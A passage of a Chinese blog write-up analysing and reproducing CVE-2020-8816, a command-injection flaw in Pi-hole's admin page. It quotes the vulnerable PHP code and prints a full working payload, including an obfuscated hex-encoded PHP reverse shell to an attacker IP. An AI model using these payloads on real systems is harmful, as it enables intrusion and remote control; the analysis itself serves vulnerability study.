binaryCVE-2020-8816: Pi-hole中的远程代码执行漏洞分析及复现( 二 )
注意 , 在错误信息中 , 我们已经获得了文件的下载地址 , 下载完成后放入用户根目录 。
观察basic_install.sh文件 , 发现FTLinstall函数中有这样一行代码:
# Move into the temp ftl directory pushd "$(mktemp -d)" > /dev/null || { printf "Unable to make temporary directory for FTL binary download\\n"; return 1; }
所以说 , 程序会新建并进入一个临时文件夹 , 下载的文件也会保存在这里 , 而不是放在脚本所在文件夹 。 不管怎么样 , 我们只需要把下载下来的文件放入当前文件夹即可 。 修改basic_install.sh文件 , 在FTLinstall函数中 , 找到下面的代码:
# If the download worked, if curl -sSL --fail "${url}/${binary}" -o "${binary}"; then # get sha1 of the binary we just downloaded for verification. curl -sSL --fail "${url}/${binary}.sha1" -o "${binary}.sha1"
并修改为:
# If the download worked, # if curl -sSL --fail "${url}/${binary}" -o "${binary}"; then cp ~/pihole-FTL-linux-x86_64 ./ if true; then # get sha1 of the binary we just downloaded for verification. curl -sSL --fail "${url}/${binary}.sha1" -o "${binary}.sha1" 漏洞分析 出现问题的代码 function validMAC($mac_addr) { // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case) return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1); } $mac = $_POST["AddMAC"]; if(!validMAC($mac)) {...} $mac = strtoupper($mac); if(isset($_POST["addstatic"])) { ... exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname); ... } if(isset($_POST["removestatic"])) { ... exec("sudo pihole -a removestaticdhcp ".$mac); ... }
完整代码看这里 。
注意到 , 在validMAC函数中 , 只使用preg_match对MAC地址的格式进行了检查 , 而preg_match函数的作用是根据正则表达式的模式对字符串进行搜索匹配 , 并返回匹配字数 。 因此 , 只要用户的输入中存在MAC地址 , 就可以通过检查 。
通过检查的用户输入做了一次大写转换 , 然后直接放入了exec函数中 。
最终的payload aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&& Payload分析
1、模拟MAC地址
aaaaaaaaaaaa
根据源码中的validMAC函数 , 我们得知程序会对用户输入做一个基本的MAC地址格式判断 , 只要由12个字母或数字组成 , 就可以通过验证 。
2、获取p,h,r的小写字符
SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}
原本的payload应该为:
aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“192.168.0.105”,2256);exec(“/bin/sh -i <&3 >&3 2>&3”);’
但是由于程序会对用户输入做一个大写转换 , 因此 , php -r会变成PHP -R , 命令无法识别 , 因此需要找到一种方式获取p、h、r的小写字符 。
可以使用环境变量 , 变量名都是大写字母 , 而变量值中可能包含各种小写字母 。
在浏览器中进入http://192.168.1.107/admin , 登陆后 , 选择Setting->DHCP选项卡 , 先试一下PATH变量 , 输入aaaaaaaaaaaa$PATH , 结果显示:
推荐阅读
- 恋云|每个恒星系都是太空中的一座孤岛
- 生活海风说|Firefox 用户将很快能够获得把浏览器中的密码导出至本地的功能
- 摄影小强|存储先行者,光威SSD固态硬盘使用中的小惊喜
- 腾讯科技|华为P40 Pro+影像评测:出色的硬件带来意料之中的完美拍照体验
- 凤凰网四川综合|商界小李飞刀,杨景中的成功之路
- 无人机|无人机在环境监测中的应用
- 手机|自带音箱不怕被虐的三防手机:AGM H2上手评测,老年机中的旗舰
- 大粒菜头890|5G手机中的平价机
- 哈尔滨工业大学|点亮心中的知识殿堂 | 哈工大“新”图书馆等你回来!
- 科技数码迷|大V眼中的上半年机皇:三星S20系列被忽略,华为P40Pro排第三